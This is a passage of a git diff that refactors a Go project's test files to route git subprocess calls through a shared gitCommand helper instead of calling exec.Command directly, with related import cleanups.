"--git-dir") probe.Dir, probe.Env = target, gitenv.ScrubRouting(os.Environ()) require.Equal(t, tc.kind != "nonrepo", probe.Run() == nil, "owned target repository precondition") if tc.kind == "nonrepo" { @@ -567,7 +566,7 @@ func TestProxiedInitTailGitUsesSelectedDirectory(t *testing.T) { } runGit := func(dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) diff --git a/cmd/bd/init_role_environment_test.go b/cmd/bd/init_role_environment_test.go index 177d1d440..7729507e7 100644 --- a/cmd/bd/init_role_environment_test.go +++ b/cmd/bd/init_role_environment_test.go @@ -4,7 +4,6 @@ import ( "context" "errors" "os" - "os/exec" "path/filepath" "reflect" "runtime" @@ -18,7 +17,7 @@ import ( func initRoleFixtureGit(t *testing.T, repo string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() @@ -483,7 +482,7 @@ func TestContributorPlanningGitIgnoresInheritedRouting(t *testing.T) { if err != nil { t.Fatal(err) } - cmd := exec.Command("git", "show", "HEAD:README.md") + cmd := gitCommand("show", "HEAD:README.md") cmd.Dir, cmd.Env = planning, gitenv.ScrubRouting(os.Environ()) if committed, err := cmd.Output(); err != nil || string(committed) != string(readme) { t.Errorf("planning README commit differs from created bytes: %v", err) @@ -597,7 +596,7 @@ func TestInitArtifactGitRouting(t *testing.T) { if err := os.WriteFile(foreignIndex, index, 0600); err != nil { t.Fatal(err) } - stage := exec.Command("git", "add", ".beads/fixture") + stage := gitCommand("add", ".beads/fixture") stage.Dir, stage.Env = decoy, append(gitenv.ScrubRouting(os.Environ()), "GIT_INDEX_FILE="+foreignIndex) if out, err := stage.CombinedOutput(); err != nil { t.Fatalf("prepare actual foreign index: %v: %s", err, out) diff --git a/cmd/bd/init_role_routing_test.go b/cmd/bd/init_role_routing_test.go index aea4cb7bf..66438ceed 100644 --- a/cmd/bd/init_role_routing_test.go +++ b/cmd/bd/init_role_routing_test.go @@ -39,7 +39,7 @@ func TestBeadsRoleWriterIgnoresInheritedGitRouting(t *testing.T) { // value physically landed rather than what discovery would resolve to. localRole := func(t *testing.T, repo string) string { t.Helper() - cmd := exec.Command("git", "config", "--local", "--get", "beads.role") + cmd := gitCommand("config", "--local", "--get", "beads.role") cmd.Dir = repo cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) out, err := cmd.Output() @@ -50,7 +50,7 @@ func TestBeadsRoleWriterIgnoresInheritedGitRouting(t *testing.T) { } setLocalRole := func(t *testing.T, repo, role string) { t.Helper() - cmd := exec.Command("git", "config", "--local", "beads.role", role) + cmd := gitCommand("config", "--local", "beads.role", role) cmd.Dir = repo cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { diff --git a/cmd/bd/init_stealth_test.go b/cmd/bd/init_stealth_test.go index 0c686db71..88ee8951a 100644 --- a/cmd/bd/init_stealth_test.go +++ b/cmd/bd/init_stealth_test.go @@ -3,7 +3,6 @@ package main import ( "errors" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -26,10 +25,10 @@ func TestSetupGitExclude_Worktree(t *testing.T) { if err := os.WriteFile(dummyFile, []byte("# Test\n"), 0644); err != nil { t.Fatalf("failed to create dummy file: %v", err) } - cmd := exec.Command("git", "add", ".") + cmd := gitCommand("add", ".") cmd.Dir = mainDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "initial") + cmd = gitCommand("commit", "-m", "initial") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create initial commit: %v", err) @@ -37,7 +36,7 @@ func TestSetupGitExclude_Worktree(t *testing.T) { // Create worktree worktreeDir := filepath.Join(t.TempDir(), "worktree") - cmd = exec.Command("git", "worktree", "add", worktreeDir, "-b", "feature") + cmd = gitCommand("worktree", "add", worktreeDir, "-b", "feature") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create worktree: %v", err) @@ -70,7 +69,7 @@ func TestSetupGitExclude_Worktree(t *testing.T) { // Verify: worktree's .git/worktrees//info/exclude should NOT exist // (or should not have the patterns if it exists) - worktreeGitDir, err := exec.Command("git", "-C", worktreeDir, "rev-parse", "--git-dir").Output() + worktreeGitDir, err := gitCommand("-C", worktreeDir, "rev-parse", "--git-dir").Output() if err != nil { t.Fatalf("failed to get worktree git dir: %v", err) } @@ -95,10 +94,10 @@ func TestSetupForkExclude_Worktree(t *testing.T) { if err := os.WriteFile(dummyFile, []byte("# Test\n"), 0644); err != nil { t.Fatalf("failed to create dummy file: %v", err) } - cmd := exec.Command("git", "add", ".") + cmd := gitCommand("add", ".") cmd.Dir = mainDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "initial") + cmd = gitCommand("commit", "-m", "initial") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create initial commit: %v", err) @@ -106,7 +105,7 @@ func TestSetupForkExclude_Worktree(t *testing.T) { // Create worktree worktreeDir := filepath.Join(t.TempDir(), "worktree") - cmd = exec.Command("git", "worktree", "add", worktreeDir, "-b", "feature") + cmd = gitCommand("worktree", "add", worktreeDir, "-b", "feature") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create worktree: %v", err) @@ -136,7 +135,7 @@ func TestSetupForkExclude_Worktree(t *testing.T) { // Verify: worktree's .git/worktrees//info/exclude should NOT exist // (or should not have the patterns if it exists) - worktreeGitDir, err := exec.Command("git", "-C", worktreeDir, "rev-parse", "--git-dir").Output() + worktreeGitDir, err := gitCommand("-C", worktreeDir, "rev-parse", "--git-dir").Output() if err != nil { t.Fatalf("failed to get worktree git dir: %v", err) } @@ -518,7 +517,7 @@ func TestAddExcludePatternsPreservesAppendLineEndings(t *testing.T) { if err := os.WriteFile(gitignorePath, []byte(tracked), 0600); err != nil { t.Fatal(err) } - if out, err := exec.Command("git", "-C", dir, "add", "--", ".gitignore").CombinedOutput(); err != nil { + if out, err := gitCommand("-C", dir, "add", "--", ".gitignore").CombinedOutput(); err != nil { t.Fatalf("track .gitignore: %v: %s", err, out) } path, err := resolveGitExcludePath(dir) @@ -624,7 +623,7 @@ func TestAddExcludePatternsCreatesMissingFile(t *testing.T) { func initExcludeGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) diff --git a/cmd/bd/init_test.go b/cmd/bd/init_test.go index 8ba943d05..b648f2169 100644 --- a/cmd/bd/init_test.go +++ b/cmd/bd/init_test.go @@ -1088,12 +1088,12 @@ func TestInitContributorSetsBeadsRoleContributor(t *testing.T) { t.Chdir(tmpDir) // Owned local remotes prevent network lookups during initialization. - cmd := exec.Command("git", "remote", "add", "origin", newGitRepo(t)) + cmd := gitCommand("remote", "add", "origin", newGitRepo(t)) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add origin remote: %v", err) } - cmd = exec.Command("git", "remote", "add", "upstream", newGitRepo(t)) + cmd = gitCommand("remote", "add", "upstream", newGitRepo(t)) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add upstream remote: %v", err) @@ -1153,7 +1153,7 @@ func TestInitNonInteractiveAlwaysSetsRole(t *testing.T) { t.Chdir(tmpDir) // Ensure no role is set before init - exec.Command("git", "config", "--unset", "beads.role").Run() //nolint:errcheck + gitCommand("config", "--unset", "beads.role").Run() //nolint:errcheck rootCmd.SetArgs([]string{"init", "--prefix", "test", "--quiet", "--non-interactive"}) if err := rootCmd.Execute(); err != nil { @@ -1527,7 +1527,7 @@ func TestInitBEADS_DIR(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -2000,7 +2000,7 @@ func setupBareParentInitWorktree(t *testing.T) (string, string) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -2012,14 +2012,14 @@ func setupBareParentInitWorktree(t *testing.T) (string, string) { runGit(tmpDir, "--git-dir", bareDir, "symbolic-ref", "HEAD", "refs/heads/main") runGit(tmpDir, "--git-dir", bareDir, "config", "user.email", "test@example.com") runGit(tmpDir, "--git-dir", bareDir, "config", "user.name", "Test User") - emptyTreeCmd := exec.Command("git", "--git-dir", bareDir, "hash-object", "-t", "tree", "/dev/null") + emptyTreeCmd := gitCommand("--git-dir", bareDir, "hash-object", "-t", "tree", "/dev/null") emptyTreeCmd.Dir = tmpDir emptyTreeOut, err := emptyTreeCmd.CombinedOutput() if err != nil { t.Fatalf("git hash-object failed: %v\n%s", err, emptyTreeOut) } emptyTree := strings.TrimSpace(string(emptyTreeOut)) - commitCmd := exec.Command("git", "--git-dir", bareDir, "commit-tree", "-m", "Initial commit", emptyTree) + commitCmd := gitCommand("--git-dir", bareDir, "commit-tree", "-m", "Initial commit", emptyTree) commitCmd.Dir = tmpDir commitOut, err := commitCmd.CombinedOutput() if err != nil { @@ -2567,11 +2567,11 @@ func TestInitDatabaseAdoptsExistingProjectID(t *testing.T) { t.Chdir(secondDir) // Set up minimal git repo (init expects it for repo_id) - if err := exec.Command("git", "-C", secondDir, "init").Run(); err != nil { + if err := gitCommand("-C", secondDir, "init").Run(); err != nil { t.Fatalf("git init: %v", err) } - _ = exec.Command("git", "-C", secondDir, "config", "user.email", "test@test.com").Run() - _ = exec.Command("git", "-C", secondDir, "config", "user.name", "Test").Run() + _ = gitCommand("-C", secondDir, "config", "user.email", "test@test.com").Run() + _ = gitCommand("-C", secondDir, "config", "user.name", "Test").Run() rootCmd.SetArgs([]string{ "init", diff --git a/cmd/bd/init_worktree_test.go b/cmd/bd/init_worktree_test.go index c7b2383b2..be3a7b738 100644 --- a/cmd/bd/init_worktree_test.go +++ b/cmd/bd/init_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -24,7 +23,7 @@ func TestCountExistingIssues_WorktreeFallback(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -42,13 +41,13 @@ func TestCountExistingIssues_WorktreeFallback(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -108,7 +107,7 @@ func TestCountExistingIssues_WorktreeLocalBeadsPreferred(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -124,13 +123,13 @@ func TestCountExistingIssues_WorktreeLocalBeadsPreferred(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -181,7 +180,7 @@ func TestCountExistingIssues_WorktreeNoBeadsAnywhere(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -197,13 +196,13 @@ func TestCountExistingIssues_WorktreeNoBeadsAnywhere(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/migrate_hooks_apply_test.go b/cmd/bd/migrate_hooks_apply_test.go index 19edd1dd2..ba77fb7d8 100644 --- a/cmd/bd/migrate_hooks_apply_test.go +++ b/cmd/bd/migrate_hooks_apply_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -333,7 +332,7 @@ func setupHookMigrationRepo(t *testing.T) (repoDir string, hooksDir string) { repoDir = newGitRepo(t) runInDir(t, repoDir, func() { - cmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd := gitCommand("config", "core.hooksPath", ".git/hooks") if err := cmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) } diff --git a/cmd/bd/migrate_personal_test.go b/cmd/bd/migrate_personal_test.go index dd21fb00a..6f870edd1 100644 --- a/cmd/bd/migrate_personal_test.go +++ b/cmd/bd/migrate_personal_test.go @@ -31,7 +31,7 @@ func setupContributorRouting(t *testing.T, bd, dir string) string { t.Helper() planningDir := t.TempDir() // Init a minimal git repo in the planning dir. - exec.Command("git", "init", planningDir).Run() //nolint:errcheck + gitCommand("init", planningDir).Run() //nolint:errcheck // Initialize beads in planning dir. initCmd := exec.Command(bd, "init", "--prefix", "pl", "--quiet") initCmd.Dir = planningDir @@ -84,7 +84,7 @@ func TestMigratePersonal_movesIssues(t *testing.T) { planningDir := setupContributorRouting(t, bd, dir) // Create issues with the git identity (getActorWithGit will use git user.name). - gitName, _ := exec.Command("git", "config", "--global", "user.name").Output() + gitName, _ := gitCommand("config", "--global", "user.name").Output() actor := strings.TrimSpace(string(gitName)) if actor == "" { actor = "Test" @@ -132,7 +132,7 @@ func TestMigratePersonal_abortOnNoConfirm(t *testing.T) { setupContributorRouting(t, bd, dir) // Create an issue owned by current git user. - gitName, _ := exec.Command("git", "config", "--global", "user.name").Output() + gitName, _ := gitCommand("config", "--global", "user.name").Output() actor := strings.TrimSpace(string(gitName)) if actor == "" { actor = "Test" @@ -178,7 +178,7 @@ func TestMigratePersonal_preservesComments(t *testing.T) { dir, _, _ := bdInit(t, bd, "--prefix", "mpc") planningDir := setupContributorRouting(t, bd, dir) - gitName, _ := exec.Command("git", "config", "--global", "user.name").Output() + gitName, _ := gitCommand("config", "--global", "user.name").Output() actor := strings.TrimSpace(string(gitName)) if actor == "" { actor = "Test" diff --git a/cmd/bd/orphans_proxied_integration_test.go b/cmd/bd/orphans_proxied_integration_test.go index 9b19fbf3a..9553def1d 100644 --- a/cmd/bd/orphans_proxied_integration_test.go +++ b/cmd/bd/orphans_proxied_integration_test.go @@ -4,7 +4,6 @@ package main import ( "encoding/json" - "os/exec" "strings" "testing" ) @@ -17,7 +16,7 @@ func TestProxiedServerOrphans(t *testing.T) { gitCommit := func(t *testing.T, message string) { t.Helper() - cmd := exec.Command("git", "commit", "--allow-empty", "-m", message) + cmd := gitCommand("commit", "--allow-empty", "-m", message) cmd.Dir = p.dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git commit: %v\n%s", err, out) diff --git a/cmd/bd/prime_embedded_test.go b/cmd/bd/prime_embedded_test.go index b0c9f0ffe..6ff502e6d 100644 --- a/cmd/bd/prime_embedded_test.go +++ b/cmd/bd/prime_embedded_test.go @@ -185,7 +185,7 @@ func primeChangeDirRedirectClone(t *testing.T, storeBeadsDir string) string { func primeChangeDirGit(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir cmd.Env = append(os.Environ(), "GIT_AUTHOR_NAME=bd-test", "GIT_AUTHOR_EMAIL=bd-test@example.com", diff --git a/cmd/bd/rename_prefix_worktree_test.go b/cmd/bd/rename_prefix_worktree_test.go index 19a0a4505..7a555e199 100644 --- a/cmd/bd/rename_prefix_worktree_test.go +++ b/cmd/bd/rename_prefix_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -25,7 +24,7 @@ func setupWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -43,13 +42,13 @@ func setupWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { run("commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) diff --git a/cmd/bd/reset_worktree_test.go b/cmd/bd/reset_worktree_test.go index 0544aab7c..6030bac71 100644 --- a/cmd/bd/reset_worktree_test.go +++ b/cmd/bd/reset_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -24,7 +23,7 @@ func TestReset_WorktreeFindsBeadsDir(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -42,13 +41,13 @@ func TestReset_WorktreeFindsBeadsDir(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -113,7 +112,7 @@ func TestReset_WorktreeNoBeadsReturnsEmpty(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -129,13 +128,13 @@ func TestReset_WorktreeNoBeadsReturnsEmpty(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -162,7 +161,7 @@ func TestReset_WorktreeSubdirFindsBeadsDir(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -178,13 +177,13 @@ func TestReset_WorktreeSubdirFindsBeadsDir(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) diff --git a/cmd/bd/sync_git_test.go b/cmd/bd/sync_git_test.go index 4294beb78..a0efdea5f 100644 --- a/cmd/bd/sync_git_test.go +++ b/cmd/bd/sync_git_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -187,7 +186,7 @@ func TestGitURLToDoltRemote(t *testing.T) { func runGitForSyncTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) if dir != "" { cmd.Dir = dir } diff --git a/cmd/bd/sync_remote_test.go b/cmd/bd/sync_remote_test.go index 5f9aeda02..b77e24236 100644 --- a/cmd/bd/sync_remote_test.go +++ b/cmd/bd/sync_remote_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -119,7 +118,7 @@ func TestCommitBeadsConfigSkipsGitHooks(t *testing.T) { func runGitForCommitConfigTest(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/test_helpers_pure_test.go b/cmd/bd/test_helpers_pure_test.go index d6e29eaa2..6a0fae163 100644 --- a/cmd/bd/test_helpers_pure_test.go +++ b/cmd/bd/test_helpers_pure_test.go @@ -442,7 +442,7 @@ func buildBDForInitTests(t *testing.T) string { // fails the test on error. Used by bootstrap and init-safety subprocess tests. func runGitForBootstrapTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) if dir != "" { cmd.Dir = dir } @@ -469,7 +469,7 @@ func initGitRepoAt(t *testing.T, dir string) { // Force repo-local hooks so tests ignore any global hooksPath override. {"config", "core.hooksPath", ".git/hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %s failed: %v\n%s", args[0], err, out) diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index a5fa4927a..21dc03af9 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -424,7 +424,7 @@ func worktreeFallbackBeadsDirDirect(repoRoot string) string { if repoRoot == "" { return "" } - cmd := exec.Command("git", "-C", repoRoot, "rev-parse", "--git-dir", "--git-common-dir") + cmd := gitCommand("-C", repoRoot, "rev-parse", "--git-dir", "--git-common-dir") out, err := cmd.Output() if err != nil { return "" diff --git a/cmd/bd/test_wait_helper_test.go b/cmd/bd/test_wait_helper_test.go index d2f6eafb7..e0b53e27f 100644 --- a/cmd/bd/test_wait_helper_test.go +++ b/cmd/bd/test_wait_helper_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "testing" "time" @@ -74,8 +73,8 @@ func setupGitRepo(t *testing.T) (repoPath string, cleanup func()) { _ = os.Chdir(originalWd) t.Fatalf("failed to write test file: %v", err) } - _ = exec.Command("git", "add", ".").Run() - if err := exec.Command("git", "commit", "-m", "initial").Run(); err != nil { + _ = gitCommand("add", ".").Run() + if err := gitCommand("commit", "-m", "initial").Run(); err != nil { _ = os.Chdir(originalWd) t.Fatalf("failed to create initial commit: %v", err) } @@ -120,7 +119,7 @@ func setupGitRepoWithBranch(t *testing.T, branch string) (repoPath string, clean } // Switch to requested branch if different from template default if branch != "main" { - if err := exec.Command("git", "checkout", "-b", branch).Run(); err != nil { + if err := gitCommand("checkout", "-b", branch).Run(); err != nil { _ = os.Chdir(originalWd) t.Fatalf("failed to switch to branch %s: %v", branch, err) } @@ -144,8 +143,8 @@ func setupGitRepoWithBranch(t *testing.T, branch string) (repoPath string, clean _ = os.Chdir(originalWd) t.Fatalf("failed to write test file: %v", err) } - _ = exec.Command("git", "add", ".").Run() - if err := exec.Command("git", "commit", "-m", "initial").Run(); err != nil { + _ = gitCommand("add", ".").Run() + if err := gitCommand("commit", "-m", "initial").Run(); err != nil { _ = os.Chdir(originalWd) t.Fatalf("failed to create initial commit: %v", err) } diff --git a/cmd/bd/uninstall_config_test.go b/cmd/bd/uninstall_config_test.go index e0ff497dc..7e9518845 100644 --- a/cmd/bd/uninstall_config_test.go +++ b/cmd/bd/uninstall_config_test.go @@ -57,7 +57,7 @@ func TestStandaloneHooksAbsoluteFallbackHasNoConfigAuthority(t *testing.T) { func TestUninstallHooksUnsetsBeadsRole(t *testing.T) { tmpDir := newGitRepo(t) runInDir(t, tmpDir, func() { - cmd := exec.Command("git", "config", "beads.role", "primary") + cmd := gitCommand("config", "beads.role", "primary") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to set beads.role: %v", err) @@ -67,7 +67,7 @@ func TestUninstallHooksUnsetsBeadsRole(t *testing.T) { t.Fatalf("uninstallHooks() failed: %v", err) } - getCmd := exec.Command("git", "config", "--local", "--get", "beads.role") + getCmd := gitCommand("config", "--local", "--get", "beads.role") getCmd.Dir = tmpDir out, err := getCmd.Output() if err == nil { @@ -96,7 +96,7 @@ func TestUninstallHooksReportsAmbiguousBeadsRole(t *testing.T) { tmpDir := newGitRepo(t) runInDir(t, tmpDir, func() { for _, value := range []string{"primary", "secondary"} { - cmd := exec.Command("git", "config", "--add", "beads.role", value) + cmd := gitCommand("config", "--add", "beads.role", value) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add beads.role=%s: %v", value, err) @@ -112,7 +112,7 @@ func TestUninstallHooksReportsAmbiguousBeadsRole(t *testing.T) { } // And the key really is still set — the error was not spurious. - getCmd := exec.Command("git", "config", "--local", "--get-all", "beads.role") + getCmd := gitCommand("config", "--local", "--get-all", "beads.role") getCmd.Dir = tmpDir out, getErr := getCmd.Output() if getErr != nil { @@ -141,7 +141,7 @@ func TestResetHooksPathIfBeadsManagedReportsFailureLoudly(t *testing.T) { // There has to be something to unset, or there is no git invocation to // fail: the reset reads beads.role first and only unsets it when it is // actually present. - setCmd := exec.Command("git", "config", "beads.role", "primary") + setCmd := gitCommand("config", "beads.role", "primary") setCmd.Dir = tmpDir if err := setCmd.Run(); err != nil { t.Fatalf("failed to set beads.role: %v", err) @@ -223,7 +223,7 @@ func TestResetRolePreservesSelectedGitContext(t *testing.T) { t.Fatal(err) } query := func(dir string, args ...string) ([]byte, error) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) return cmd.CombinedOutput() } @@ -268,7 +268,7 @@ func TestResetRolePreservesSelectedGitContext(t *testing.T) { t.Setenv("GIT_CONFIG_VALUE_0", "forged") case "selected_config": t.Setenv("GIT_CONFIG", filepath.Join(decoy, ".git", "config")) - probe := exec.Command("git", "--git-dir", selected, "config", "beads.routing-test", "selected-file") + probe := gitCommand("--git-dir", selected, "config", "beads.routing-test", "selected-file") probe.Dir = cwd // This fixture precondition deliberately inherits GIT_CONFIG. if out, err := probe.CombinedOutput(); err != nil { t.Fatalf("selected-file probe: %v\n%s", err, out) diff --git a/cmd/bd/user_config_path_windows_test.go b/cmd/bd/user_config_path_windows_test.go index eeb9f7d9a..8193d5ab7 100644 --- a/cmd/bd/user_config_path_windows_test.go +++ b/cmd/bd/user_config_path_windows_test.go @@ -34,13 +34,13 @@ func TestMetricsOffRejectsUnsafeUserRootsInNativeProcess(t *testing.T) { "BEADS_TEST_MODE=1", ) - gitInit := exec.Command("git", "init", "--quiet") + gitInit := gitCommand("init", "--quiet") gitInit.Dir = sentinel gitInit.Env = initEnv if out, err := gitInit.CombinedOutput(); err != nil { t.Fatalf("git init: %v\n%s", err, out) } - gitHooks := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + gitHooks := gitCommand("config", "core.hooksPath", ".git/hooks") gitHooks.Dir = sentinel gitHooks.Env = initEnv if out, err := gitHooks.CombinedOutput(); err != nil { diff --git a/cmd/bd/worktree_cmd_test.go b/cmd/bd/worktree_cmd_test.go index ae2e6d4e1..c4d6d9b03 100644 --- a/cmd/bd/worktree_cmd_test.go +++ b/cmd/bd/worktree_cmd_test.go @@ -5,7 +5,6 @@ import ( "context" "fmt" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -284,13 +283,13 @@ func TestEnsureCreatedWorktreeCleanRejectsDirtyWorktree(t *testing.T) { commitTestFile(t, repoRoot, "README.md", "# 